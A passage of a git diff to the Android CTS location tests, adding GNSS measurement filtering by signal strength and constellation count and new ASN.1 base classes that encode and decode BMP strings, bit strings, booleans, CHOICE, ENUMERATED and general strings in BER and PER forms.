+ int constellationType = gnssMeasurement.getConstellationType();
+ // if the measurement's signal level is too small ignore
+ if (gnssMeasurement.getCn0DbHz() < C_TO_N0_THRESHOLD_DB_HZ ||
+ (gnssMeasurement.getState() & (1L << TOW_DECODED_MEASUREMENT_STATE_BIT)) == 0) {
+ continue;
+ }
+ if (constellationEventCount.containsKey(constellationType)) {
+ constellationEventCount.put(constellationType,
+ constellationEventCount.get(constellationType) + 1);
+ }
+ else {
+ constellationEventCount.put(constellationType, 1);
+ }
+ if (constellationEventCount.get(constellationType) >= 4) {
+ synchronized(mMeasurementsEvents) {
+ mMeasurementsEvents.add(event);
+ }
+ mCountDownLatch.countDown();
+ return;
+ }
+ }
}
- mCountDownLatch.countDown();
+ else {
+ synchronized(mMeasurementsEvents) {
+ mMeasurementsEvents.add(event);
+ }
+ mCountDownLatch.countDown();
+ }
}
}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1BMPString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1BMPString.java
new file mode 100644
index 0000000..417fa37
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1BMPString.java
@@ -0,0 +1,199 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+
+/**
+ * A BMP string is a string from the Basic Multilingual Plane of Unicode, i.e.
+ * codepoints 0x0000 to 0xFFFF.
+ *
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1BMPString extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.BMP_STRING);
+
+ private String value;
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // Null == unconstrained.
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.BMP_STRING;
+ }
+
+ @Override int getBerValueLength() {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ throw new UnsupportedOperationException();
+ }
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public String getValue() {
+ return value;
+ }
+
+ public void setValue(String value) {
+ this.value = value;
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Preconditions.checkNotNull(value, "No value set.");
+ int length = Character.codePointCount(value, 0, value.length());
+ Preconditions.checkState(length >= minimumSize, "Value too short.");
+ Preconditions.checkState(maximumSize == null || length <= maximumSize,
+ "Value too long.");
+ int characterBitCount = 16; // Unless tight alphabet constraint.
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ BitStream encodedCharacters = encodeCharactersPer();
+ if (aligned && maximumSize * characterBitCount > 16) {
+ encodedCharacters.setBeginByteAligned();
+ }
+
+ if (minimumSize == maximumSize
+ && maximumSize < SIXTYFOUR_K) {
+ return ImmutableList.of(encodedCharacters);
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ // A little oddity when maximumSize != minimumSize.
+ if (aligned && maximumSize * characterBitCount == 16) {
+ encodedCharacters.setBeginByteAligned();
+ }
+
+ // Must be preceded by a count. The count and the bit field may be
+ // independently aligned.
+ BitStream count = null;
+ if (aligned) {
+ count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ value.length(), minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.encodeConstrainedWholeNumber(
+ value.length(), minimumSize, maximumSize);
+ }
+ return ImmutableList.of(count, encodedCharacters);
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private BitStream encodeCharactersPer() {
+ BitStream result = new BitStream();
+ int position = 0;
+ while (position < value.length()) {
+ int codepoint = Character.codePointAt(value, position);
+ Preconditions.checkState(codepoint <= 0xFFFF,
+ "Illegal character atposition %s", position);
+ // When characterBitCount == 16.
+ result.appendByte((byte) ((codepoint & 0xFF00) >> 8));
+ result.appendByte((byte) (codepoint & 0xFF));
+
+ position += Character.charCount(codepoint);
+ }
+ return result;
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ int characterBitCount = 16; // Unless tight alphabet constraint.
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ if (minimumSize == maximumSize
+ && maximumSize < SIXTYFOUR_K) {
+ if (aligned && maximumSize * characterBitCount > 16) {
+ reader.spoolToByteBoundary();
+ }
+ value = decodeCharactersPer(reader, maximumSize);
+ return;
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ // Value is preceded by a count.
+ int count = 0;
+ if (aligned) {
+ count = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ }
+
+ if (aligned && maximumSize * characterBitCount >= 16) {
+ reader.spoolToByteBoundary();
+ }
+
+ value = decodeCharactersPer(reader, count);
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+
+ private String decodeCharactersPer(BitStreamReader reader,
+ int howMany) {
+ StringBuilder builder = new StringBuilder();
+ for (int i = 0; i < howMany; i++) {
+ int codepoint = (reader.readByte() & 0xFF) << 8;
+ codepoint += reader.readByte() & 0xFF;
+ builder.append(Character.toChars(codepoint));
+ }
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1BitString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1BitString.java
new file mode 100644
index 0000000..dcf50d7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1BitString.java
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.BitSet;
+import java.util.Collection;
+
+/**
+ * Implements ASN.1 functionality.
+ * as an asn1 BIT STRING does.
+ *
+ * <P>This class is not thread-safe without external synchronization.
+ *
+ */
+public class Asn1BitString extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.BIT_STRING);
+
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // null == unbounded.
+ private BitSet value;
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public BitSet getValue() {
+ return value;
+ }
+
+ public void setValue(BitSet value) {
+ this.value = value;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.BIT_STRING;
+ }
+
+ @Override int getBerValueLength() {
+ Preconditions.checkNotNull(value, "No value set.");
+ // the +1 is for the extra leading octet indicating the number of unused bits in last octet
+ return (value.length() + 7) / 8 + 1;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ Preconditions.checkNotNull(value, "No value set.");
+ Preconditions.checkState(
+ maximumSize == null || value.length() <= maximumSize, "Too large %s",
+ value.length());
+
+ int bitsToEncode = Math.max(minimumSize, value.length());
+ BitStream bitStream = new BitStream();
+ for (int i = 0; i < bitsToEncode; i++) {
+ bitStream.appendBit(value.get(i));
+ }
+
+ buf.put((byte) ((8 - (value.length() % 8)) % 8));
+ buf.put(bitStream.getPaddedBytes());
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ int unusedBits = buf.get() & 0xFF;
+ byte[] valueBytes = getRemaining(buf);
+ final int numBits = valueBytes.length * 8 - unusedBits;
+ value = new BitSet(numBits);
+ BitStreamReader reader = new BitStreamReader(valueBytes);
+ for (int i = 0; i < numBits; i++) {
+ value.set(i, reader.readBit());
+ }
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Preconditions.checkNotNull(value, "No value set.");
+ Preconditions.checkState(
+ maximumSize == null || value.length() <= maximumSize, "Too large %s",
+ value.length());
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ if (minimumSize == maximumSize) {
+ if (maximumSize == 0) {
+ return ImmutableList.of();
+ }
+ if (maximumSize < SIXTYFOUR_K) {
+ BitStream result = new BitStream();
+ for (int i = 0; i < maximumSize; i++) {
+ result.appendBit(value.get(i));
+ }
+ if (aligned && maximumSize > 16) {
+ result.setBeginByteAligned();
+ }
+ return ImmutableList.of(result);
+ }
+ // Fall through to the general case.
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large set unimplemented");
+ }
+
+ int bitsToEncode = Math.max(minimumSize, value.length());
+ BitStream count = null;
+ if (aligned) {
+ count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ bitsToEncode, minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.encodeConstrainedWholeNumber(
+ bitsToEncode, minimumSize, maximumSize);
+ }
+ BitStream result = new BitStream();
+ if (aligned) {
+ result.setBeginByteAligned();
+ }
+ for (int i = 0; i < bitsToEncode; i++) {
+ result.appendBit(value.get(i));
+ }
+ return ImmutableList.of(count, result);
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ value = new BitSet();
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ if (minimumSize == maximumSize) {
+ if (maximumSize == 0) {
+ return;
+ }
+ if (maximumSize < SIXTYFOUR_K) {
+ if (aligned && maximumSize > 16) {
+ reader.spoolToByteBoundary();
+ }
+ for (int i = 0; i < maximumSize; i++) {
+ value.set(i, reader.readBit());
+ }
+ return;
+ }
+ // Fall through to the general case.
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large set unimplemented");
+ }
+
+ int length = 0;
+ if (aligned) {
+ length = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ reader.spoolToByteBoundary();
+ } else {
+ length = PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ }
+ for (int i = 0; i < length; i++) {
+ value.set(i, reader.readBit());
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Boolean.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Boolean.java
new file mode 100644
index 0000000..f253e56
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Boolean.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+
+/**
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1Boolean extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.BOOLEAN);
+
+ private boolean value;
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.BOOLEAN;
+ }
+
+ @Override int getBerValueLength() {
+ return 1;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ buf.put(value ? (byte) 0xFF : (byte) 0x00);
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ if (buf.remaining() != 1) {
+ throw new IllegalArgumentException("Invalid remaining bytes: " + buf.remaining());
+ }
+ value = (buf.get() != 0);
+ }
+
+ public boolean getValue() {
+ return value;
+ }
+
+ public void setValue(boolean value) {
+ this.value = value;
+ }
+
+ private Iterable<BitStream> encodePerImpl() {
+ BitStream result = new BitStream();
+ result.appendBit(value);
+ return ImmutableList.of(result);
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ value = reader.readBit();
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ value = reader.readBit();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Choice.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Choice.java
new file mode 100644
index 0000000..d8f7e93
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Choice.java
@@ -0,0 +1,298 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+
+import javax.annotation.Nullable;
+
+/**
+ * Implements ASN.1 functionality.
+ *
+ */
+public abstract class Asn1Choice extends Asn1Object {
+ /**
+ * Dummy non-tag used as default tag for CHOICE, which reflects the BER encoding idea
+ * that CHOICE is not an object in itself, it just gets coded as its value. This means
+ * that it doesn't matter whether the choice object tag is designated as IMPLICIT or
+ * EXPLICIT, it gets coded the same way anyway.
+ */
+ private static final Asn1Tag DUMMY_DEFAULT_TAG = new Asn1Tag(null, Integer.MIN_VALUE) {
+ @Override
+ public int getTaggedLength(int valueLength) {
+ return valueLength;
+ }
+
+ @Override
+ public void writeTagAndLength(ByteBuffer buf, boolean constructed, int valueLength) {
+ // Do nothing.
+ }
+
+ @Override
+ int getValue() {
+ throw new UnsupportedOperationException("This is not a real tag.");
+ }
+ };
+
+ /**
+ * Returns true if the type has an extension marker.
+ */
+ protected abstract boolean isExtensible();
+
+ /**
+ * Returns true if the value set is an extension value.
+ */
+ protected abstract boolean hasExtensionValue();
+
+ /**
+ * Returns the ordinal of the chosen value (extension values re-start at 0),
+ * or null if no value is set.
+ */
+ @Nullable protected abstract Integer getSelectionOrdinal();
+
+ @Nullable protected abstract ChoiceComponent getSelectedComponent();
+
+ /**
+ * Returns the chosen value.
+ */
+ protected abstract Asn1Object getValue();
+
+ /**
+ * Returns the number of choices available for the current value of
+ * {@code hasExtensionValue()}. If no value has been set, the number of
+ * choices for a non-extension value is returned.
+ */
+ protected abstract int getOptionCount();
+
+ /**
+ * Creates a new instance of the type specified by the parameters, sets
+ * the current value of this instance to it and returns the newly created
+ * value.
+ */
+ protected abstract Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal);
+
+ /**
+ * Given an Asn1Tag, creates and sets the value of this enumeration to a newly created object.
+ * Used in BER decoding.
+ *
+ * @param tag the tag read from the input stream (less the "constructed" bit)
+ * @return the newly created enumeration component
+ * @throws IllegalArgumentException if the tag is not recognized. This currently includes
+ * extension values.
+ */
+ protected abstract ChoiceComponent createAndSetValue(Asn1Tag tag);
+
+ @Override Asn1Tag getDefaultTag() {
+ return DUMMY_DEFAULT_TAG;
+ }
+
+ @Override boolean isConstructed() {
+ return true;
+ }
+
+
+ @Override
+ public int getBerValueLength() {
+ if (hasExtensionValue()) {
+ throw new UnsupportedOperationException("BER for extension values is unsupported");
+ }
+ ChoiceComponent select = getSelectedComponent();
+ if (select == null) {
+ throw new NullPointerException("No component set");
+ }
+ if (select.getTag() != null) {
+ int valueLen;
+ if (select.isImplicitTagging()) {
+ valueLen = getValue().getBerValueLength();
+ } else {
+ valueLen = getValue().getBerLength();
+ }
+ return select.getTag().getTaggedLength(valueLen);
+ }
+ return getValue().getBerLength();
+ }
+
+ @Override
+ public void encodeBerValue(ByteBuffer buf) {
+ if (hasExtensionValue()) {
+ throw new UnsupportedOperationException("BER for extension values is unsupported");
+ }
+ ChoiceComponent select = getSelectedComponent();
+ if (select == null) {
+ throw new NullPointerException("No component set");
+ }
+ Asn1Object value = getValue();
+ if (select.getTag() != null) {
+ if (select.isImplicitTagging()) {
+ select.getTag().writeTagAndLength(buf, value.isConstructed(), value.getBerValueLength());
+ value.encodeBerValue(buf);
+ } else {
+ select.getTag().writeTagAndLength(buf, true, value.getBerLength());
+ value.encodeBer(buf);
+ }
+ } else {
+ value.encodeBer(buf);
+ }
+ }
+
+ @Override
+ public void decodeBerValue(ByteBuffer buf) {
+ Asn1Tag tag = Asn1Tag.peekTag(buf);
+ ChoiceComponent select = createAndSetValue(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ Asn1Object element = getValue();
+ if (select.getTag() != null) {
+ Asn1Tag.readTag(buf); // Read the tag off.
+ int valueLen = Asn1Tag.readLength(buf);
+
+ if (valueLen != buf.remaining()) {
+ throw new IllegalArgumentException("Length mismatch: expected=" + buf.remaining()
+ + ", actual=" + valueLen);
+ }
+
+ if (select.isImplicitTagging()) {
+ element.decodeBerValue(buf);
+ return;
+ }
+ }
+ element.decodeBer(buf);
+ }
+
+ @Override
+ public void decodeBer(ByteBuffer buf) {
+ if (getTag() != null) {
+ // This CHOICE is tagged
+ Asn1Tag tag = Asn1Tag.readTag(buf);
+ int len = Asn1Tag.readLength(buf);
+ checkTag(tag, getTag());
+ }
+ decodeBerValue(buf);
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ ImmutableList.Builder<BitStream> listBuilder = ImmutableList.builder();
+ if (isExtensible()) {
+ BitStream extensionMarker = new BitStream();
+ extensionMarker.appendBit(hasExtensionValue());
+ listBuilder.add(extensionMarker);
+ }
+
+ int optionCount = getOptionCount();
+ Integer selectionOrdinal = getSelectionOrdinal();
+ Preconditions.checkState(optionCount == 0 || selectionOrdinal != null,
+ "No value set.");
+ if (hasExtensionValue()) {
+ if (aligned) {
+ listBuilder.addAll(
+ PerAlignedUtils.encodeNormallySmallWholeNumber(selectionOrdinal));
+ } else {
+ listBuilder.addAll(
+ PerUnalignedUtils.encodeNormallySmallWholeNumber(
+ selectionOrdinal));
+ }
+ } else if (optionCount > 1) {
+ if (aligned) {
+ listBuilder.add(
+ PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ selectionOrdinal, 0, optionCount - 1));
+ } else {
+ listBuilder.add(
+ PerUnalignedUtils.encodeConstrainedWholeNumber(
+ selectionOrdinal, 0, optionCount - 1));
+ }
+ }
+
+ if (optionCount > 0) {
+ Asn1Object value = getValue();
+ if (hasExtensionValue()) {
+ if (aligned) {
+ listBuilder.addAll(PerAlignedUtils.encodeOpenTypeField(value));
+ } else {
+ listBuilder.addAll(
+ PerUnalignedUtils.encodeOpenTypeField(value));
+ }
+ } else {
+ if (aligned) {
+ listBuilder.addAll(value.encodePerAligned());
+ } else {
+ listBuilder.addAll(value.encodePerUnaligned());
+ }
+ }
+ }
+ return listBuilder.build();
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ boolean extensionValued = false;
+ Integer selectionOrdinal = 0;
+ if (isExtensible()) {
+ extensionValued = reader.readBit();
+ }
+ if (extensionValued) {
+ if (aligned) {
+ selectionOrdinal = PerAlignedUtils.decodeNormallySmallWholeNumber(reader);
+ } else {
+ selectionOrdinal = PerUnalignedUtils.decodeNormallySmallWholeNumber(reader);
+ }
+ } else if (getOptionCount() > 1) {
+ if (aligned) {
+ selectionOrdinal = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, 0, getOptionCount() - 1);
+ } else {
+ selectionOrdinal = PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, 0, getOptionCount() - 1);
+ }
+ }
+ if (extensionValued) {
+ Asn1Object element = createAndSetValue(extensionValued, selectionOrdinal);
+ if (aligned) {
+ PerAlignedUtils.decodeOpenTypeField(reader, element);
+ } else {
+ PerUnalignedUtils.decodeOpenTypeField(reader, element);
+ }
+ } else if (getOptionCount() > 0) {
+ Asn1Object element = createAndSetValue(extensionValued, selectionOrdinal);
+ if (aligned) {
+ element.decodePerAligned(reader);
+ } else {
+ element.decodePerUnaligned(reader);
+ }
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Enumerated.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Enumerated.java
new file mode 100644
index 0000000..d39bb39
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Enumerated.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.math.BigInteger;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+
+/**
+ */
+public abstract class Asn1Enumerated extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.ENUMERATED);
+
+ private Value value;
+
+ public interface Value {
+ int getAssignedValue();
+ boolean isExtensionValue();
+ int ordinal(); // Standard enum method.
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ public Value getValue() {
+ return value;
+ }
+
+ public void setValue(Value value) {
+ this.value = value;
+ }
+
+ protected abstract boolean isExtensible();
+
+ /**
+ * Returns the ordinal:th value in size order.
+ */
+ protected abstract Value lookupValue(int ordinal);
+
+ /**
+ * Returns the ordinal:th extension value in size order.
+ */
+ protected abstract Value lookupExtensionValue(int ordinal);
+
+ /**
+ * Returns the number of distinct values (not counting extensions).
+ */
+ protected abstract int getValueCount();
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.ENUMERATED;
+ }
+
+ @Override int getBerValueLength() {
+ return asAsn1Integer().getBerValueLength();
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ asAsn1Integer().encodeBerValue(buf);
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ Asn1Integer ai = new Asn1Integer();
+ ai.decodeBerValue(buf);
+ value = lookupValue(ai.getInteger().intValue());
+ }
+
+ private Asn1Integer asAsn1Integer() {
+ Preconditions.checkNotNull(value, "No value set.");
+ Asn1Integer ai = new Asn1Integer();
+ ai.setInteger(BigInteger.valueOf(value.getAssignedValue()));
+ return ai;
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ ImmutableList.Builder<BitStream> builder = ImmutableList.builder();
+ if (isExtensible()) {
+ BitStream extensionMarker = new BitStream();
+ extensionMarker.appendBit(value.isExtensionValue());
+ builder.add(extensionMarker);
+ }
+ if (value.isExtensionValue()) {
+ if (aligned) {
+ builder.addAll(
+ PerAlignedUtils.encodeNormallySmallWholeNumber(value.ordinal()));
+ } else {
+ builder.addAll(
+ PerUnalignedUtils.encodeNormallySmallWholeNumber(value.ordinal()));
+ }
+ } else {
+ // Note that it is NOT guaranteed in the asn1 spec that the root values
+ // are sorted in order. However, asn12j sorts them for us.
+ if (aligned) {
+ builder.add(
+ PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ value.ordinal(), 0, getValueCount() - 1));
+ } else {
+ builder.add(
+ PerUnalignedUtils.encodeConstrainedWholeNumber(
+ value.ordinal(), 0, getValueCount() - 1));
+ }
+ }
+ return builder.build();
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ if (isExtensible() && reader.readBit()) {
+ if (aligned) {
+ value = lookupExtensionValue(PerAlignedUtils.decodeNormallySmallWholeNumber(reader));
+ } else {
+ value = lookupExtensionValue(PerUnalignedUtils.decodeNormallySmallWholeNumber(reader));
+ }
+ } else {
+ if (aligned) {
+ value = lookupValue(
+ PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, 0, getValueCount() - 1));
+ } else {
+ value = lookupValue(
+ PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, 0, getValueCount() - 1));
+ }
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1GeneralString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1GeneralString.java
new file mode 100644
index 0000000..29b874b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/base/Asn1GeneralString.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+
+/**
+ * A general string is any ISO 646 related 8-bit encoding, presumably agreed on
+ *
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1GeneralString extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.GENERAL_STRING);
+
+ private byte[] value;
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // Null == unconstrained.
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.GENERAL_STRING;
+ }
+
+ @Override int getBerValueLength() {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ throw new UnsupportedOperationException();
+ }
+
+ protected void setMinSize(int min) {
